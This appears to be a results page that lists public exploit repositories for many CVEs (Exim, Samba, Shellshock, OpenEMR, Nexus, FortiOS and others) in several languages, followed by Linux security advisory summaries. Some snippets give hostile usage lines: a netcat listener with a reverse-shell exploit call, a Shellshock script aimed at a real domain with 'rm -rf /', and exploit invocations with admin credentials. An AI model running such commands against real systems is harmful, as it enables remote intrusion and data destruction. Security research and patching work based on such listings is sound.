CVE-2019-10149

CVE-2019-10149 CVE-2019-10149 : Exim 4.874.91포함 버전에서 결함이 발견되었습니다. /src/deliver.c의 delivermessage 함수에서 수신자 주소를 잘못 검증하면 원격 명령 실행으로 이어질 수 있습니다. 예제 nc -lvp 9000 python ./CVE-2019-10149/exploit.py --rhost example.com --rport 25 --lhost 10.10.10.100 --lport 9000...

PIL-CVE-2017-8291

Python PIL/Pillow Remote Command Execution GhostButt / CVE-2017-8291 中文版本Chinese version Python PIL Pillow는 Python에서 널리 사용되는 이미지 처리 라이브러리입니다. 다양한 이미지 포맷을 지원하며 강력한 이미지 조작 기능을 제공합니다. Python 이미지 처리 모듈 PIL Pillow은 GhostButt 취약점CVE-2017-8291의 영향을 받습니다. 이는 내부적으로 EPS 이미지를 처리하기 위해 GhostScript를 호출하기 때문입니다...

CVE-2020-10199_POC-EXP

影响版本 + + EXP: python3 cve-2020-10199poc.py 1.1.1.1 8081 0.9567822851573897 edfca15e-c721-45e2-bdef-e8b3c6364ddb + + VER: Nexus Repository Manager OSS/Pro version + + EXP: python3 cve-2020-10199cmd.py http://127.0.0.1:8081 admin admin...

CVE-2007-2447

CVE-2007-2447 PoC: Sambaの「usermap script」によるリモートコマンド実行（歴史的なCVE）。このリポジトリには、研究および教育目的のレビュー用の小さな概念実証スクリプトが含まれています。主要なスクリプトは usermapscriptCommandExecution.py です。 参考記事: https://amriunix.com/post/cve-2007-2447-samba-usermap-script/ 使用法 リポジトリをクローンし、管理されたラボ環境でスクリプトを実行してください。このPoCは任意で LHOST:LPORT...

SyncShield

🔐 SyncShield — CVE-2018-5764 検出のためのブラウザ拡張機能 危険な Rsync コマンドが悪用される前に検出します 最終年度プロジェクト NWS/129/23B の一環として開発された、軽量でプライバシーに配慮したブラウザ拡張機能。Rsync コマンドに欠落している --protect-args フラグを検出し、CVE-2018-5764 によるリモートコマンド実行を防止します。 ✅ 完全オフラインで動作 ✅ サーバー接続やデータ収集は一切なし ✅ リアルタイムスキャンとアラート ✅ 教育・緩和策に重点 ✅ 学生、システム管理者、セキュリティ愛好家向け 👥...

ShockZaum-CVE-2014-6271

CVE-2014-6271 셸쇼크 취약점 공격 스크립트 ! Usage: ./ShockZaum -u 'https://nasa.gov' -c 'rm -rf /' -p '/cgi-bin/aliens.cgi'...

pythonprojects-CVE-2018-10933

pythonprojects-CVE-2018-10933 CVE-2018-10933 이 스크립트는 CVE-2018-10933 취약점을 악용합니다 Linux에서 동작. 이 스크립트를 실행하려면 paramiko 파이썬 모듈이 필요합니다. 아래 명령어를 사용하여 paramiko를 설치해 주세요. pip install paramiko paramiko가 설치되면, 스크립트를 다음과 같이 실행할 수 있습니다: python CVE-2018-10933.py 대상 IP/호스트명 대상 포트 명령어 참고: 제 작업이 마음에 드신다면 커피 한 잔...

exploit-CVE-2018-15139

OpenEMR CVE-2018-15139 익스플로잇 OpenEMR --debug exploit.rb -h | --help Options: 루트 URL 기본 경로. HTTP 스킴, 포트 및 루트 폴더 포함 업로드할 셸의 파일명 관리자의 사용자명 관리자의 비밀번호 --debug 인수 표시 -h, --help 이 화면 표시 Examples: exploit.rb exploit http://example.org/openemr shell.php admin pass exploit.rb exploit...

CVE-2018-17431-Comodo

CVE-2018-17431-PoC CVE-2018-17431에 대한 개념 증명 익스플로잇 제목: Comodo Firewall & Central Manager UTM 2.7.0 및 1.5.0 이전 모든 릴리스의 원격 명령 실행 웹 셸 기반 익스플로잇 작성자: Milad Fadavvi 공급업체 홈페이지: https://www.comodo.com/ 소프트웨어 링크: https://secure.comodo.com/home/purchase.php?pid=106&license=try&track=9276&af=9276 버전: 2.7.0 및...

GitLab-CVE-2021-22205-

脆弱性の影響 GitLab CE/EE において、バージョン11.9以降のすべてのバージョンに影響する問題が発見されました。GitLab はファイルパーサーに渡された画像ファイルを適切に検証しておらず、リモートコマンド実行が発生していました。 影響を受けるバージョン Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 脆弱性の影響 近日公開... 参考 https://github.com/mr-r3bot/Gitlab-CVE-2021-22205...

CVE-2023-27997-POC

사용법: python3 cve-2022-42475.py rhost rport lhost 'command' 예시: python3 cve-2022-42475.py 192.168.10.1 8443 10.10.1.1 'ls -la /' 면책 조항: 이 프로젝트는 교육 및 윤리적 테스트 목적으로만 제작되었습니다. 사전 상호 동의 없이 대상을 공격하기 위해 이 도구를 사용하는 것은 불법입니다. 개발자는 이 도구로 인한 오용이나 피해에 대해 책임을 지지 않으며 어떠한 책임도 부담하지 않습니다...

CVE-2025-55182-GUI

CVE-2025-55182 脆弱性検出・悪用ツール（GUI版） プロジェクト概要 本プロジェクトは、CVE-2025-55182 の高リスク脆弱性に対応したビジュアル検出・悪用ツールです。Python + tkinter ベースで全グラフィカル操作インターフェースを開発しており、複雑なコマンドライン操作を不要とし、使いやすさと実用性を両立しています。 CVE-2025-55182 脆弱性は、React Server Components（RSC）エコシステムの Next.js フレームワークに存在します。攻撃者は悪意のある multipart/form-data...

AlmaLinux 9.2 [TuxCare] Security Update: pcp / pcp-conf / pcp-devel / pcp-doc / pcp-export-pcp2elasticsearch / etc (ALMALINUX9.2:CLSA-2025:1764080949)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2025:1764080949 advisory. - A flaw was found in PCP. The default pmproxy configuration exposes the Redis server backend to the local network, allowing remote command...

CentOS Linux 8.5 [TuxCare] Security Update: ctdb / libsmbclient / libsmbclient-devel / libwbclient / etc (CENTOS8.5:CLSA-2026:1781186905)

The CentOS Linux 8.5 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS8.5:CLSA-2026:1781186905 advisory. - A flaw was found in Samba. A remote attacker can exploit a misconfiguration in Samba file servers and classic domain controllers that use t...

CentOS Linux 6 [TuxCare] Security Update: libsmbclient / libsmbclient-devel / samba / samba-client / etc (CENTOS6:CLSA-2026:1781627407)

The CentOS Linux 6 host has packages installed that are affected by a vulnerability as referenced in the TuxCare CENTOS6:CLSA-2026:1781627407 advisory. - A flaw was found in Samba. A remote attacker can exploit a misconfiguration in Samba file servers and classic domain controllers that use the...

Rocky Linux 8 [CIQ] Security Update: pcp / pcp-conf / pcp-debuginfo / pcp-debugsource / pcp-devel / etc (crlsa-2024_3264)

The Rocky Linux 8 host has packages installed that are affected by a vulnerability as referenced in the CIQ crlsa-20243264 advisory. pcp: exposure of the redis server backend allows remote command execution via pmproxy CVE-2024-3019 Tenable has extracted the preceding description block directly...

AlmaLinux 9.2 [TuxCare] Security Update: cockpit / cockpit-bridge / cockpit-doc / cockpit-packagekit / etc (ALMALINUX9.2:CLSA-2026:1781091230)

The AlmaLinux 9.2 host has packages installed that are affected by a vulnerability as referenced in the TuxCare ALMALINUX9.2:CLSA-2026:1781091230 advisory. - A flaw was found in Cockpit. This vulnerability allows a remote attacker to achieve arbitrary command execution on the host by exploiting...

CentOS Linux 8 [TuxCare] Security Update: ctdb / libnetapi / libnetapi-devel / libsmbclient / etc Multiple Vulnerabilities (CENTOS-STREAM8:CLSA-2026:1781101271)

The CentOS Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare CENTOS-STREAM8:CLSA-2026:1781101271 advisory. - A flaw was found in Samba's certificate auto-enrollment Group Policy handling. When certificate auto- enrollment is enabled,...

Rocky Linux 9.6 [TuxCare] Security Update: ctdb / ldb-tools / libldb / libldb-devel / libnetapi / etc Multiple Vulnerabilities (ALMALINUX9.6:CLSA-2026:1781350676)

The Rocky Linux 9.6 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1781350676 advisory. - A flaw was found in Samba's handling of NTFS-style reparse points on shares configured with read only = yes. Due to missing...

AlmaLinux 9.6 [TuxCare] Security Update: ctdb / ldb-tools / libldb / libldb-devel / libnetapi / etc Multiple Vulnerabilities (ALMALINUX9.6:CLSA-2026:1781350676)

The AlmaLinux 9.6 host has packages installed that are affected by multiple vulnerabilities as referenced in the TuxCare ALMALINUX9.6:CLSA-2026:1781350676 advisory. - A flaw was found in Samba's handling of NTFS-style reparse points on shares configured with read only = yes. Due to missing...